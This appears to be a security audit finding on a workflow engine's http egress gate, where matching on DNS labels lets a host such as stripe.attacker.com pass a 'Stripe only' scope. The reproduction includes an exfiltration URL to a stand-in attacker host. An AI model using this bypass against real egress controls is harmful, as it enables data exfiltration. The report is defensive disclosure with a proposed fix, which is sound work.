Component: workflow_engine.py — the providers-only branch of the a5a0e9 http egress gate (~L1145-1147), versus the egress_hosts branch just above it (~L1135).
The defect.
When a workflow declares capabilities.providers but no egress_hosts, the runtime decides whether an http node's host is in scope by intersecting the host's DNS labels with the declared provider names:
_labels = set((_hhost or "").lower().split("."))
_ok = bool(_hhost) and bool(_labels & {str(p).lower() for p in _cap_providers})
Any host that contains a declared provider name as ANY dot-separated label passes. With providers=["stripe"], host stripe.attacker.com -> _labels = {"stripe","attacker","com"}, intersection with {"stripe"} is non-empty -> _ok = True. The attacker owns attacker.com, so they own the stripe.attacker.com subdomain and its DNS. Egress/exfil to an attacker-controlled host is permitted under a scope the operator approved as "Stripe only."
The sibling egress_hosts branch does it correctly — _ok = WH._domain_allowed(_hhost, _cap_egress_hosts), a suffix/*.-aware matcher. The providers branch invents a weaker label-membership test instead of requiring the host to be a real domain of the named provider.
Reproduction (structure — direct run).
- Workflow:
capabilities: { providers: ["stripe"] }(noegress_hosts), onehttpnode whosepolicy.allow_domainsand request target arehttps://stripe.attacker.com/exfil(the node policy is composer-controlled). - Run directly (dag/run / schedule).
plan_httpreturns hoststripe.attacker.com; the gate computes_labels & {"stripe"}={"stripe"}->_ok = True-> noCapabilityExceeded. The request egresses to the attacker host.
Staging does not catch it either: the http host lands only in egress_domains (never systems_touched), and _check_capabilities's providers branch tests systems_touched, while its egress_hosts branch is skipped when that key is absent — so with providers declared and egress_hosts omitted, the label match is the only host constraint at runtime.
Expected (correct) behavior: a providers-scoped host must be a real domain of the declared provider — e.g. suffix-match against a provider->domains table (stripe -> api.stripe.com, *.stripe.com), not "contains the label stripe anywhere." A host that is not a declared provider's own domain requires an explicit egress_hosts entry.
Scope. Direct-run path; a workflow declaring providers but not egress_hosts with an http node whose host carries a provider label as a subdomain. The composer sets the node's allow_domains, so no operator misconfiguration is needed.
Fix. Replace the label-set intersection with a suffix match against each provider's canonical domain set (reuse WH._domain_allowed against a providers->domains map), so stripe.attacker.com fails while api.stripe.com passes.
Classification: CWE-346 / CWE-290